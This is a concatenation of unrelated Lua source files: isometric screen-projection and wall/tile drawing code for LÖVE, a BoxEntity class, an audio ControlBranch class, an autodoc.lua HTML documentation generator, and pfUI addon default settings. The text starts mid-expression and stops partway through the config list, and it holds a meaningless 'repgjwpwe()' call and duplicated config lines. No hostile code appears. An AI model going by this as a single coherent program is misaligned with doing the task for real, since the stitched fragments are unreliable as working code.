translateToScreen(x-w*0.5+h*0.5,y+h*0.5,z) elseif flag == "ur" then point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5,z) point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5+w*0.5,z) point[5] , point[6] = translateToScreen(x-w*0.5,y-h*0.5-w*0.5,z) point[7] , point[8] = translateToScreen(x-w*0.5,y+h*0.5,z) elseif flag == "ru" then point[1] , point[2] = translateToScreen(x+w*0.5-h*0.5,y+h*0.5,z) point[3] , point[4] = translateToScreen(x+w*0.5+h*0.5,y-h*0.5,z) point[5] , point[6] = translateToScreen(x-w*0.5,y-h*0.5,z) point[7] , point[8] = translateToScreen(x-w*0.5,y+h*0.5,z) elseif flag == "rd" then point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5,z) point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5-w*0.5,z) point[5] , point[6] = translateToScreen(x-w*0.5,y-h*0.5+w*0.5,z) point[7] , point[8] = translateToScreen(x-w*0.5,y+h*0.5,z) elseif flag == "lu" then point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5-w*0.5,z) point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5,z) point[5] , point[6] = translateToScreen(x-w*0.5,y-h*0.5,z) point[7] , point[8] = translateToScreen(x-w*0.5,y+h*0.5+w*0.5,z) elseif flag == "ld" then point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5,z) point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5,z) point[5] , point[6] = translateToScreen(x-w*0.5+h*0.5,y-h*0.5,z) point[7] , point[8] = translateToScreen(x-w*0.5-h*0.5,y+h*0.5,z) else point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5,z) point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5,z) point[5] , point[6] = translateToScreen(x-w*0.5,y-h*0.5,z) point[7] , point[8] = translateToScreen(x-w*0.5,y+h*0.5,z) end love.graphics.polygon("fill",point) --lineThing(point) end function drawFlatWall(x,y,w,m,h,z) assert(m == nil or m == 1 or m == -1 , "m ,Mirror value must be nil, 1 or -1") x,y,w,m,h,z = x or 0,y or 0,w or 1,m or 1,h or 2.5,z or 0 local ay, ax if m == 1 then ax,ay = 0 , w/2 else ax,ay = w/2 , 0 end local point = {} point[1] , point[2] = translateToScreen(x+ax,y+ay,z) point[3] , point[4] = translateToScreen(x+ax,y+ay,h+z) point[5] , point[6] = translateToScreen(x-ax,y-ay,h+z) point[7] , point[8] = translateToScreen(x-ax,y-ay,z) love.graphics.polygon("line",point) -- FIX: fill for flat wall --lineThing(point) end --[[ function lineThing(point) heart.push("all") love.graphics.setColor(0,0,0) love.graphics.setLineWidth(grid.blockSize*0.01) love.graphics.setLineJoin("bevel") love.graphics.polygon("line",point) heart.pop() end --]] function drawWallDirect( image, x,y,z,m,r,s) assert(m == nil or m == 1 or m == -1 , "m ,Mirror value must be nil, 1 or -1") x,y,z,s,m = x or 0 , y or 0 , z or 0 , s or 1 , m or 1 s = s * (grid.blockSizeWidth/(image:getWidth()*2)) local screenX , screenY = translateToScreen(x,y,z) love.graphics.draw( image ,screenX , screenY, r , s*m , s, image:getWidth()/2,image:getHeight() - image:getWidth()*0.25 ) end function drawTileDirect( image, x,y,z,r,s) x,y,z,s = x or 0 , y or 0 , z or 0 , s or 1 s = s * (grid.blockSizeWidth/image:getWidth()) local screenX , screenY = translateToScreen(x,y,z) love.graphics.draw( image ,screenX , screenY, r , s , s, image:getWidth()/2,image:getHeight()/2) end function translateToScreen(x,y,z) z = z or 0 assert(type(x) == "number", "first argument (x) is not a number") assert(type(y) == "number", "second argument (y) is not a number") assert(type(z) == "number", "thrid argument (z) is not a number") x,y = x + grid.blockTranslateX , y - grid.blockTranslateX x,y = x + grid.blockTranslateY , y + grid.blockTranslateY local angle = math.atan2(y,x)+math.pi/4 if angle < 0 then angle = angle +math.pi*2 end local length = math.sqrt(x * x + y * y) x,y = math.cos(angle)*length , math.sin(angle)*length x,y = x*2*grid.blockSize, y*grid.blockSize x,y = x+viewport.width/2,y+viewport.height/2- z*grid.blockSize*math.sqrt(2) return x , y end function translateToIso(x,y) -- add in (iso) Z variable so you can select floor level? assert(type(x) == "number", "first argument (x) is not a number") assert(type(y) == "number", "second argument (y) is not a number") x = x - (grid.blockTranslateX * grid.blockSizeWidth) y = y - (grid.blockTranslateY * grid.blockSizeWidth*0.5) x = x - viewport.width/2 y = y - viewport.height/2 x = x * 0.5 local angle = math.atan2(y,x)-math.pi/4 if angle < 0 then angle = angle +math.pi*2 end local length = math.sqrt(x * x + y * y) x,y = math.cos(angle)*length , math.sin(angle)*length x = x / grid.blockSize y = y / grid.blockSize return x,y end grid.tilesq = love.graphics.newImage("testasset/tilesq.png") grid.wallsq = love.graphics.newImage("testasset/wallsq.png") --[[ tile = {} tile.image = love.graphics.newImage("tile.png") tile.width = tile.image:getWidth() tile.height = tile.image:getHeight() wall = {} wall.image = love.graphics.newImage("wall.png") wall.width = wall.image:getWidth() wall.height = wall.image:getHeight() --]] --HACK repgjwpwe()
BoxEntity = class(EntityBase, function(a, name, x, y, w, h) EntityBase.init(a, name) a.box = Box2D(x,y,w,h) end) function BoxEntity:getPos() return self.box.pos end function BoxEntity:contains(point) return self.box:contains(point) end function BoxEntity:moveTo(point) self.box.pos = point end function BoxEntity:draw(engine, camera) local renderPos = camera:transform(self.box.pos) love.graphics.setColor(self.color) love.graphics.draw(self:description(), renderPos[1], renderPos[2]) local halfw = 0.5 * self.box.size[1] * camera.scale local halfh = 0.5 * self.box.size[2] * camera.scale love.graphics.rectangle(love.draw_line, renderPos[1] - halfw, renderPos[2] - halfh, halfw + halfw, halfh + halfh) end
local Class = require "Base.Class" local Branch = require "Chain.Branch" local Persist = require "Persist" local ControlBranch = Class {} ControlBranch:include(Branch) function ControlBranch:init(args) Branch.init(self, args) self:setInstanceName(args.id) self.id = args.id self.objects = args.objects or app.logError("%s:init: objects are missing.", self) local task = app.ObjectList(args.id) for i, o in ipairs(args.objects) do task:add(o) end self.task = task end function ControlBranch:rename(name) self.id = name self:setTitle(self.title, name) self:setInstanceName(name) end function ControlBranch:onStart() Branch.onStart(self) -- Must add objects after branch so the objects are processed after the branch but before the parent chain. -- This is cleaner then registering the objects at depth-1. app.AudioThread.addTask(self.task, self.depth) end function ControlBranch:onStop() app.AudioThread.removeTask(self.task) Branch.onStop(self) end function ControlBranch:enable(soft) Branch.enable(self, soft) self.task:enable() end function ControlBranch:disable(soft) self.task:disable() Branch.disable(self, soft) end function ControlBranch:releaseResources() app.AudioThread.removeTask(self.task) self.task:clear() Branch.releaseResources(self) end function ControlBranch:isSerializationNeeded() return true end function ControlBranch:serialize() local t = Branch.serialize(self) t.id = self.control:getCustomizableValue("name") t.type = self.classType t.control = self.control:serialize() t.objects = Persist.serializeObjects(self.objects) return t end function ControlBranch:deserialize(t) if t.objects then Persist.deserializeObjects(self.objects, nil, t.objects) end if t.control then self.control:deserialize(t.control) end Branch.deserialize(self, t) end return ControlBranch
#!/usr/bin/env lua local args = {...} if not args[1] or string.match(args[1], "^%-") then print("Usage: autodoc.lua srcdir/ > documentation.html") os.exit(1) end local entries = {} for idx, srcdir in ipairs(args) do local find_proc = io.popen('find "' .. srcdir .. '" -name \\*.lua', "r") for filename in find_proc:lines() do local synopsis, comment, source local mode local function reset() synopsis, comment, source = {}, {}, {} mode = "idle" end reset() local function strip(tbl) while true do local line = tbl[#tbl] if line and string.find(line, "^%s*$") then tbl[#tbl] = nil else break end end if #tbl > 0 then local min_indent = math.huge for idx, line in ipairs(tbl) do local spaces = string.match(line, "^(%s*)") if min_indent > #spaces then min_indent = #spaces end end local pattern_parts = { "^" } for i = 1, min_indent do pattern_parts[#pattern_parts+1] = "%s" end pattern_parts[#pattern_parts+1] = "(.-)%s*$" local pattern = table.concat(pattern_parts) for idx, line in ipairs(tbl) do tbl[idx] = string.match(line, pattern) end end end local function entry_done() if #synopsis > 0 then strip(synopsis) strip(comment) strip(source) local stripped_synopsis = {} for idx, line in ipairs(synopsis) do local stripped_line = string.match(line, "^(.-)%-%-") or line stripped_line = string.match(stripped_line, "^(.-)%s*$") stripped_synopsis[#stripped_synopsis+1] = stripped_line end local concatted_synopsis = string.gsub( table.concat(stripped_synopsis, " "), "[%s]+", " " ) local func_call = string.match( concatted_synopsis, "^[A-Za-z0-9_,. ]+= ?(.-) ?$" ) if not func_call then func_call = string.match( concatted_synopsis, "^ ?for[A-Za-z0-9_, ]+in (.-) ? do[ %.]+end ?$" ) end if not func_call then func_call = string.match(concatted_synopsis, "^ ?(.-) ?$") end func_call = string.gsub( func_call, "^([^({]*)([({]).*[,;].*[,;].*[,;].*([)}])$", function(base, open, close) return base .. open .. " ... " .. close end ) if entries[func_call] then error("Multiple occurrences of: " .. func_call) end entries[func_call] = { func_call = func_call, synopsis = synopsis, comment = comment, source = source } end reset() end for line in io.lines(filename) do local function add_to(tbl) if #tbl > 0 or not string.match(line, "^%s*$") then tbl[#tbl+1] = line end end if mode == "idle" then if string.find(line, "^%s*%-%-%[%[%-%-%s*$") then mode = "synopsis" end elseif mode == "synopsis" then if string.find(line, "^%s*$") and #synopsis > 0 then mode = "comment" elseif string.find(line, "^%s*%-%-]]%-%-%s*$") then mode = "source" else add_to(synopsis) end elseif mode == "comment" then if string.find(line, "^%s*%-%-]]%-%-%s*$") then mode = "source" else add_to(comment) end elseif mode == "source" then if string.find(line, "^%s*%-%-//%-%-%s*$") then entry_done() else add_to(source) end end end entry_done() end find_proc:close() end function output(...) return io.stdout:write(...) end function encode(text) return ( string.gsub( text, '[<>&"]', function(char) if char == '<' then return "&lt;" elseif char == '>' then return "&gt;" elseif char == '&' then return "&amp;" elseif char == '"' then return "&quot;" end end ) ) end function output_lines(tbl) for idx, line in ipairs(tbl) do if idx == 1 then output('<pre>') end local command, comment = string.match(line, "^(.-)(%-%-.*)$") if command then output( encode(command), '<span class="autodoc_comment_tail">', encode(comment), '</span>' ) else output(encode(line)) end if idx == #tbl then output('</pre>') end output('\n') end end keys = {} for key in pairs(entries) do keys[#keys+1] = key end table.sort(keys) for idx, key in ipairs(keys) do local entry = entries[key] local m1, m2 = string.match(key, "<?([A-Za-z0-9_]*)>?([A-Za-z0-9_.:]+)") local anchor = m1 .. m2 output('<li id="', anchor, '" class="autodoc_entry">\n') output(' <div class="short_synopsis" onclick="toggleSection(\'', anchor, '\')">\n') output(' ', encode(entry.func_call), '\n') output(' </div>\n') output(' <div id="autodoc_details_', anchor, '" class="autodoc_details" style="display: none;">\n') output(' <div class="autodoc_synopsis">\n') output_lines(entry.synopsis) output(' </div>\n') output(' <div class="autodoc_comment">') for idx, line in ipairs(entry.comment) do output(encode(line)) if idx < #entry.comment then output('<br/>') end end output('</div>\n') output(' <div class="autodoc_source">\n') output_lines(entry.source) output(' </div>\n') output(' </div>\n') output('</li>\n') end
-- load pfUI environment setfenv(1, pfUI:GetEnvironment()) function pfUI:UpdateConfig(group, subgroup, entry, value) -- create empty config if not existing if not pfUI_config then pfUI_config = {} end -- check for missing config groups if not pfUI_config[group] then pfUI_config[group] = {} end -- update config if not subgroup and entry and value and not pfUI_config[group][entry] then pfUI_config[group][entry] = value end -- check for missing config subgroups if subgroup and not pfUI_config[group][subgroup] then pfUI_config[group][subgroup] = {} end -- update config in subgroup if subgroup and entry and value and not pfUI_config[group][subgroup][entry] then pfUI_config[group][subgroup][entry] = value end end function pfUI:LoadConfig() -- MODULE SUBGROUP ENTRY VALUE pfUI:UpdateConfig("global", nil, "language", GetLocale()) pfUI:UpdateConfig("global", nil, "profile", "default") pfUI:UpdateConfig("global", nil, "pixelperfect", "0") pfUI:UpdateConfig("global", nil, "offscreen", "0") pfUI:UpdateConfig("global", nil, "font_default", "Interface\\AddOns\\pfUI\\fonts\\Myriad-Pro.ttf") pfUI:UpdateConfig("global", nil, "font_size", "12") pfUI:UpdateConfig("global", nil, "font_unit", "Interface\\AddOns\\pfUI\\fonts\\BigNoodleTitling.ttf") pfUI:UpdateConfig("global", nil, "font_unit_size", "12") pfUI:UpdateConfig("global", nil, "font_combat", "Interface\\AddOns\\pfUI\\fonts\\Continuum.ttf") pfUI:UpdateConfig("global", nil, "force_region", "1") pfUI:UpdateConfig("global", nil, "errors_limit", "1") pfUI:UpdateConfig("global", nil, "errors_hide", "0") pfUI:UpdateConfig("global", nil, "hidebuff", "0") pfUI:UpdateConfig("global", nil, "hidewbuff", "0") pfUI:UpdateConfig("global", nil, "twentyfour", "1") pfUI:UpdateConfig("global", nil, "servertime", "0") pfUI:UpdateConfig("global", nil, "autosell", "0") pfUI:UpdateConfig("global", nil, "autorepair", "0") pfUI:UpdateConfig("global", nil, "libhealth", "1") pfUI:UpdateConfig("global", nil, "libhealth_hit", "4") pfUI:UpdateConfig("global", nil, "libhealth_dmg", ".05") pfUI:UpdateConfig("gui", nil, "reloadmarker", "0") pfUI:UpdateConfig("gui", nil, "showdisabled", "0") pfUI:UpdateConfig("buffs", nil, "buffs", "1") pfUI:UpdateConfig("buffs", nil, "debuffs", "1") pfUI:UpdateConfig("buffs", nil, "weapons", "1") pfUI:UpdateConfig("buffs", nil, "separateweapons", "0") pfUI:UpdateConfig("buffs", nil, "size", "24") pfUI:UpdateConfig("buffs", nil, "spacing", "5") pfUI:UpdateConfig("buffs", nil, "wepbuffrowsize", "2") pfUI:UpdateConfig("buffs", nil, "buffrowsize", "16") pfUI:UpdateConfig("buffs", nil, "debuffrowsize", "16") pfUI:UpdateConfig("buffs", nil, "textinside", "0") pfUI:UpdateConfig("buffs", nil, "fontsize", "-1") pfUI:UpdateConfig("buffbar", "pbuff", "enable", "0") pfUI:UpdateConfig("buffbar", "pbuff", "use_unitfonts", "0") pfUI:UpdateConfig("buffbar", "pbuff", "sort", "asc") pfUI:UpdateConfig("buffbar", "pbuff", "color", ".5,.5,.5,1") pfUI:UpdateConfig("buffbar", "pbuff", "bordercolor", "0,0,0,0") pfUI:UpdateConfig("buffbar", "pbuff", "textcolor", "1,1,1,1") pfUI:UpdateConfig("buffbar", "pbuff", "dtypebg", "1") pfUI:UpdateConfig("buffbar", "pbuff", "dtypeborder", "0") pfUI:UpdateConfig("buffbar", "pbuff", "dtypetext", "0") pfUI:UpdateConfig("buffbar", "pbuff", "colorstacks", "0") pfUI:UpdateConfig("buffbar", "pbuff", "width", "-1") pfUI:UpdateConfig("buffbar", "pbuff", "height", "20") pfUI:UpdateConfig("buffbar", "pbuff", "filter", "blacklist") pfUI:UpdateConfig("buffbar", "pbuff", "threshold", "120") pfUI:UpdateConfig("buffbar", "pbuff", "whitelist", "") pfUI:UpdateConfig("buffbar", "pbuff", "blacklist", "") pfUI:UpdateConfig("buffbar", "pdebuff", "enable", "0") pfUI:UpdateConfig("buffbar", "pdebuff", "use_unitfonts", "0") pfUI:UpdateConfig("buffbar", "pdebuff", "sort", "asc") pfUI:UpdateConfig("buffbar", "pdebuff", "color", "8,.4,.4,1") pfUI:UpdateConfig("buffbar", "pdebuff", "bordercolor", "0,0,0,0") pfUI:UpdateConfig("buffbar", "pdebuff", "textcolor", "1,1,1,1") pfUI:UpdateConfig("buffbar", "pdebuff", "dtypebg", "0") pfUI:UpdateConfig("buffbar", "pdebuff", "dtypeborder", "1") pfUI:UpdateConfig("buffbar", "pdebuff", "dtypetext", "0") pfUI:UpdateConfig("buffbar", "pdebuff", "colorstacks", "0") pfUI:UpdateConfig("buffbar", "pdebuff", "width", "-1") pfUI:UpdateConfig("buffbar", "pdebuff", "height", "20") pfUI:UpdateConfig("buffbar", "pdebuff", "filter", "blacklist") pfUI:UpdateConfig("buffbar", "pdebuff", "threshold", "120") pfUI:UpdateConfig("buffbar", "pdebuff", "whitelist", "") pfUI:UpdateConfig("buffbar", "pdebuff", "blacklist", "") pfUI:UpdateConfig("buffbar", "tdebuff", "enable", "0") pfUI:UpdateConfig("buffbar", "tdebuff", "use_unitfonts", "0") pfUI:UpdateConfig("buffbar", "tdebuff", "sort", "asc") pfUI:UpdateConfig("buffbar", "tdebuff", "color", ".8,.4,.4,1") pfUI:UpdateConfig("buffbar", "tdebuff", "bordercolor", "0,0,0,0") pfUI:UpdateConfig("buffbar", "tdebuff", "textcolor", "1,1,1,1") pfUI:UpdateConfig("buffbar", "tdebuff", "dtypebg", "0") pfUI:UpdateConfig("buffbar", "tdebuff", "dtypeborder", "1") pfUI:UpdateConfig("buffbar", "tdebuff", "dtypetext", "0") pfUI:UpdateConfig("buffbar", "tdebuff", "colorstacks", "0") pfUI:UpdateConfig("buffbar", "tdebuff", "width", "-1") pfUI:UpdateConfig("buffbar", "tdebuff", "height", "20") pfUI:UpdateConfig("buffbar", "tdebuff", "filter", "blacklist") pfUI:UpdateConfig("buffbar", "tdebuff", "threshold", "120") pfUI:UpdateConfig("buffbar", "tdebuff", "whitelist", "") pfUI:UpdateConfig("buffbar", "tdebuff", "blacklist", "") pfUI:UpdateConfig("appearance", "border", "background", "0,0,0,1") pfUI:UpdateConfig("appearance", "border", "color", "0.2,0.2,0.2,1") pfUI:UpdateConfig("appearance", "border", "shadow", "1") pfUI:UpdateConfig("appearance", "border", "shadow_intensity", ".35") pfUI:UpdateConfig("appearance", "border", "pixelperfect", "1") pfUI:UpdateConfig("appearance", "border", "hidpi", "1") pfUI:UpdateConfig("appearance", "border", "default", "3") pfUI:UpdateConfig("appearance", "border", "nameplates", "-1") pfUI:UpdateConfig("appearance", "border", "actionbars", "-1") pfUI:UpdateConfig("appearance", "border", "unitframes", "-1") pfUI:UpdateConfig("appearance", "border", "panels", "-1") pfUI:UpdateConfig("appearance", "border", "chat", "-1") pfUI:UpdateConfig("appearance", "border", "bags", "-1") pfUI:UpdateConfig("appearance", "cd", "lowcolor", "1,.2,.2,1") pfUI:UpdateConfig("appearance", "cd", "normalcolor", "1,1,1,1") pfUI:UpdateConfig("appearance", "cd", "minutecolor", ".2,1,1,1") pfUI:UpdateConfig("appearance", "cd", "hourcolor", ".2,.5,1,1") pfUI:UpdateConfig("appearance", "cd", "daycolor", ".2,.2,1,1") pfUI:UpdateConfig("appearance", "cd", "threshold", "2") pfUI:UpdateConfig("appearance", "cd", "font_size", "12") pfUI:UpdateConfig("appearance", "cd", "font_size_blizz", "12") pfUI:UpdateConfig("appearance", "cd", "font_size_foreign","12") pfUI:UpdateConfig("appearance", "cd", "debuffs", "1") pfUI:UpdateConfig("appearance", "cd", "blizzard", "1") pfUI:UpdateConfig("appearance", "cd", "foreign", "0") pfUI:UpdateConfig("appearance", "castbar", "castbarcolor", ".7,.7,.9,.8") pfUI:UpdateConfig("appearance", "castbar", "channelcolor", ".9,.9,.7,.8") pfUI:UpdateConfig("appearance", "castbar", "texture", "Interface\\AddOns\\pfUI\\img\\bar") pfUI:UpdateConfig("appearance", "infight", "screen", "0") pfUI:UpdateConfig("appearance", "bags", "unusable", "1") pfUI:UpdateConfig("appearance", "bags", "unusable_color", ".9,.2,.2,1") pfUI:UpdateConfig("appearance", "bags", "borderlimit", "1") pfUI:UpdateConfig("appearance", "bags", "borderonlygear", "0") pfUI:UpdateConfig("appearance", "bags", "movable", "0") pfUI:UpdateConfig("appearance", "bags", "hidechat", "0") pfUI:UpdateConfig("appearance", "bags", "icon_size", "-1") pfUI:UpdateConfig("appearance", "bags", "bagrowlength", "10") pfUI:UpdateConfig("appearance", "bags", "bankrowlength", "10") pfUI:UpdateConfig("appearance", "minimap", "mouseoverzone", "0") pfUI:UpdateConfig("appearance", "minimap", "coordsloc", "bottomleft") pfUI:UpdateConfig("appearance", "minimap", "tracking_size", "16") pfUI:UpdateConfig("appearance", "minimap", "tracking_pulse", "1") pfUI:UpdateConfig("appearance", "worldmap", "mapreveal", "0") pfUI:UpdateConfig("appearance", "worldmap", "mapreveal_color", ".4,.4,.4,1") pfUI:UpdateConfig("loot", nil, "autoresize", "1") pfUI:UpdateConfig("loot", nil, "autopickup", "1") pfUI:UpdateConfig("loot", nil, "mousecursor", "1") pfUI:UpdateConfig("loot", nil, "advancedloot", "1") pfUI:UpdateConfig("loot", nil, "rollannouncequal", "3") pfUI:UpdateConfig("loot", nil, "rollannounce", "0") pfUI:UpdateConfig("loot", nil, "raritytimer", "1") pfUI:UpdateConfig("unitframes", nil, "disable", "0") pfUI:UpdateConfig("unitframes", nil, "pastel", "1") pfUI:UpdateConfig("unitframes", nil, "custom", "0") pfUI:UpdateConfig("unitframes", nil, "customfullhp", "0") pfUI:UpdateConfig("unitframes", nil, "customcolor", ".2,.2,.2,1") pfUI:UpdateConfig("unitframes", nil, "custombg", "0") pfUI:UpdateConfig("unitframes", nil, "custombgcolor", ".5,.2,.2,1") pfUI:UpdateConfig("unitframes", nil, "custompbg", "0") pfUI:UpdateConfig("unitframes", nil, "custompbgcolor", ".5,.2,.2,1") pfUI:UpdateConfig("unitframes", nil, "manacolor", ".5,.5,1,1") pfUI:UpdateConfig("unitframes", nil, "energycolor", "1,1,.5,1") pfUI:UpdateConfig("unitframes", nil, "ragecolor", "1,.5,.5,1") pfUI:UpdateConfig("unitframes", nil, "focuscolor", "1,1,.75,1") pfUI:UpdateConfig("unitframes", nil, "animation_speed", "5") pfUI:UpdateConfig("unitframes", nil, "portraitalpha", "0.1") pfUI:UpdateConfig("unitframes", nil, "always2dportrait", "0") pfUI:UpdateConfig("unitframes", nil, "portraittexture", "1") pfUI:UpdateConfig("unitframes", nil, "layout", "default") pfUI:UpdateConfig("unitframes", nil, "rangecheck", "0") pfUI:UpdateConfig("unitframes", nil, "rangechecki", "4") pfUI:UpdateConfig("unitframes", nil, "combosize", "6") pfUI:UpdateConfig("unitframes", nil, "abbrevnum", "1") pfUI:UpdateConfig("unitframes", nil, "selfingroup", "0") pfUI:UpdateConfig("unitframes", nil, "selfinraid", "0") pfUI:UpdateConfig("unitframes", nil, "raidforgroup", "0") pfUI:UpdateConfig("unitframes", nil, "clickcast", "") pfUI:UpdateConfig("unitframes", nil, "clickcast_shift", "") pfUI:UpdateConfig("unitframes", nil, "clickcast_alt", "") pfUI:UpdateConfig("unitframes", nil, "clickcast_ctrl", "") pfUI:UpdateConfig("unitframes", nil, "clickcast", "") pfUI:UpdateConfig("unitframes", nil, "clickcast_shift", "") pfUI:UpdateConfig("unitframes", nil, "clickcast_alt", "") pfUI:UpdateConfig("unitframes", nil, "clickcast_ctrl", "") pfUI:UpdateConfig("unitframes", nil, "clickcast2", "") pfUI:UpdateConfig("unitframes", nil, "clickcast2_shift", "") pfUI:UpdateConfig("unitframes", nil, "clickcast2_alt", "") pfUI:UpdateConfig("unitframes", nil, "clickcast2_ctrl", "") pfUI:UpdateConfig("unitframes", nil, "clickcast3", "") pfUI:UpdateConfig("unitframes", nil, "clickcast3_shift", "") pfUI:UpdateConfig("unitframes", nil, "clickcast3_alt", "") pfUI:UpdateConfig("unitframes", nil, "clickcast3_ctrl", "") pfUI:UpdateConfig("unitframes", nil, "clickcast4", "") pfUI:UpdateConfig("unitframes", nil, "clickcast4_shift", "") pfUI:UpdateConfig("unitframes", nil, "clickcast4_alt", "") pfUI:UpdateConfig("unitframes", nil, "clickcast4_ctrl", "") pfUI:UpdateConfig("unitframes", nil, "clickcast5", "") pfUI:UpdateConfig("unitframes", nil, "clickcast5_shift", "") pfUI:UpdateConfig("unitframes", nil, "clickcast5_alt", "") pfUI:UpdateConfig("unitframes", nil, "clickcast5_ctrl", "") pfUI:UpdateConfig("unitframes", "player", "showPVPMinimap", "0") pfUI:UpdateConfig("unitframes", "player", "showRest", "0") pfUI:UpdateConfig("unitframes", "player", "energy", "1") pfUI:UpdateConfig("unitframes", "player", "manatick", "0") pfUI:UpdateConfig("unitframes", "focus", "width", "120") pfUI:UpdateConfig("unitframes", "focus", "height", "34") pfUI:UpdateConfig("unitframes", "focus", "pheight", "4") pfUI:UpdateConfig("unitframes", "focus", "buffsize", "12") pfUI:UpdateConfig("unitframes", "focus", "debuffsize", "12") pfUI:UpdateConfig("unitframes", "group", "portrait", "off") pfUI:UpdateConfig("unitframes", "group", "width", "164") pfUI:UpdateConfig("unitframes", "group", "height", "32") pfUI:UpdateConfig("unitframes", "group", "pheight", "4") pfUI:UpdateConfig("unitframes", "group", "buffs", "BOTTOMLEFT") pfUI:UpdateConfig("unitframes", "group", "buffsize", "8") pfUI:UpdateConfig("unitframes", "group", "debuffs", "BOTTOMLEFT") pfUI:UpdateConfig("unitframes", "group", "debuffsize", "8") pfUI:UpdateConfig("unitframes", "group", "debufflimit", "8") pfUI:UpdateConfig("unitframes", "group", "buff_indicator", "1") pfUI:UpdateConfig("unitframes", "group", "debuff_indicator", "2") pfUI:UpdateConfig("unitframes", "group", "faderange", "1") pfUI:UpdateConfig("unitframes", "group", "glowcombat", "0") pfUI:UpdateConfig("unitframes", "group", "hide_in_raid", "0") pfUI:UpdateConfig("unitframes", "group", "txthpright", "healthmiss") pfUI:UpdateConfig("unitframes", "grouptarget", "portrait", "off") pfUI:UpdateConfig("unitframes", "grouptarget", "width", "120") pfUI:UpdateConfig("unitframes", "grouptarget", "height", "16") pfUI:UpdateConfig("unitframes", "grouptarget", "pheight", "0") pfUI:UpdateConfig("unitframes", "grouptarget", "buffs", "off") pfUI:UpdateConfig("unitframes", "grouptarget", "buffsize", "16") pfUI:UpdateConfig("unitframes", "grouptarget", "debuffs", "off") pfUI:UpdateConfig("unitframes", "grouptarget", "debuffsize", "16") pfUI:UpdateConfig("unitframes", "grouptarget", "faderange", "1") pfUI:UpdateConfig("unitframes", "grouptarget", "glowcombat", "0") pfUI:UpdateConfig("unitframes", "grouptarget", "txthpright", "healthperc") pfUI:UpdateConfig("unitframes", "grouppet", "portrait", "off") pfUI:UpdateConfig("unitframes", "grouppet", "width", "100") pfUI:UpdateConfig("unitframes", "grouppet", "height", "14") pfUI:UpdateConfig("unitframes", "grouppet", "pheight", "0") pfUI:UpdateConfig("unitframes", "grouppet", "buffs", "off") pfUI:UpdateConfig("unitframes", "grouppet", "buffsize", "16") pfUI:UpdateConfig("unitframes", "grouppet", "debuffs", "off") pfUI:UpdateConfig("unitframes", "grouppet", "debuffsize", "16") pfUI:UpdateConfig("unitframes", "grouppet", "faderange", "1") pfUI:UpdateConfig("unitframes", "grouppet", "glowcombat", "0") pfUI:UpdateConfig("unitframes", "grouppet", "txthpright", "healthperc") pfUI:UpdateConfig("unitframes", "raid", "portrait", "off") pfUI:UpdateConfig("unitframes", "raid", "width", "50") pfUI:UpdateConfig("unitframes", "raid", "height", "26") pfUI:UpdateConfig("unitframes", "raid", "pheight", "4") pfUI:UpdateConfig("unitframes", "raid", "buffs", "off") pfUI:UpdateConfig("unitframes", "raid", "buffsize", "16") pfUI:UpdateConfig("unitframes", "raid", "debuffs", "off") pfUI:UpdateConfig("unitframes", "raid", "debuffsize", "16") pfUI:UpdateConfig("unitframes", "raid", "buff_indicator", "1") pfUI:UpdateConfig("unitframes", "raid", "debuff_indicator", "2") pfUI:UpdateConfig("unitframes", "raid", "faderange", "1") pfUI:UpdateConfig("unitframes", "raid", "glowcombat", "0") pfUI:UpdateConfig("unitframes", "raid", "txthpleft", "name") pfUI:UpdateConfig("unitframes", "raid", "txthpright", "healthmiss") pfUI:UpdateConfig("unitframes", "raid", "overhealperc", "10") pfUI:UpdateConfig("unitframes", "raid", "raidlayout", "8x5") pfUI:UpdateConfig("unitframes", "raid", "raidpadding", "3") pfUI:UpdateConfig("unitframes", "raid", "raidfill", "VERTICAL") pfUI:UpdateConfig("unitframes", "ttarget", "width", "100") pfUI:UpdateConfig("unitframes", "ttarget", "height", "17") pfUI:UpdateConfig("unitframes", "ttarget", "pheight", "3") pfUI:UpdateConfig("unitframes", "ttarget", "buffs", "off") pfUI:UpdateConfig("unitframes", "ttarget", "buffsize", "16") pfUI:UpdateConfig("unitframes", "ttarget", "debuffs", "off") pfUI:UpdateConfig("unitframes", "ttarget", "debuffsize", "16") pfUI:UpdateConfig("unitframes", "ttarget", "txthpleft", "none") pfUI:UpdateConfig("unitframes", "ttarget", "txthpcenter", "name") pfUI:UpdateConfig("unitframes", "ttarget", "txthpright", "none") pfUI:UpdateConfig("unitframes", "ttarget", "overhealperc", "10") pfUI:UpdateConfig("unitframes", "tttarget", "visible", "0") pfUI:UpdateConfig("unitframes", "tttarget", "width", "100") pfUI:UpdateConfig("unitframes", "tttarget", "height", "17") pfUI:UpdateConfig("unitframes", "tttarget", "pheight", "3") pfUI:UpdateConfig("unitframes", "tttarget", "buffs", "off") pfUI:UpdateConfig("unitframes", "tttarget", "buffsize", "16") pfUI:UpdateConfig("unitframes", "tttarget", "debuffs", "off") pfUI:UpdateConfig("unitframes", "tttarget", "debuffsize", "16") pfUI:UpdateConfig("unitframes", "tttarget", "txthpleft", "none") pfUI:UpdateConfig("unitframes", "tttarget", "txthpcenter", "name") pfUI:UpdateConfig("unitframes", "tttarget", "txthpright", "none") pfUI:UpdateConfig("unitframes", "tttarget", "overhealperc", "10") pfUI:UpdateConfig("unitframes", "pet", "happinessicon", "0") pfUI:UpdateConfig("unitframes", "pet", "width", "100") pfUI:UpdateConfig("unitframes", "pet", "height", "14") pfUI:UpdateConfig("unitframes", "pet", "pheight", "4") pfUI:UpdateConfig("unitframes", "pet", "buffsize", "12") pfUI:UpdateConfig("unitframes", "pet", "debuffsize", "12") pfUI:UpdateConfig("unitframes", "pet", "txthpleft", "none") pfUI:UpdateConfig("unitframes", "pet", "txthpcenter", "name") pfUI:UpdateConfig("unitframes", "pet", "txthpright", "none") pfUI:UpdateConfig("unitframes", "ptarget", "visible", "0") pfUI:UpdateConfig("unitframes", "ptarget", "width", "100") pfUI:UpdateConfig("unitframes", "ptarget", "height", "4") pfUI:UpdateConfig("unitframes", "ptarget", "pheight", "-1") 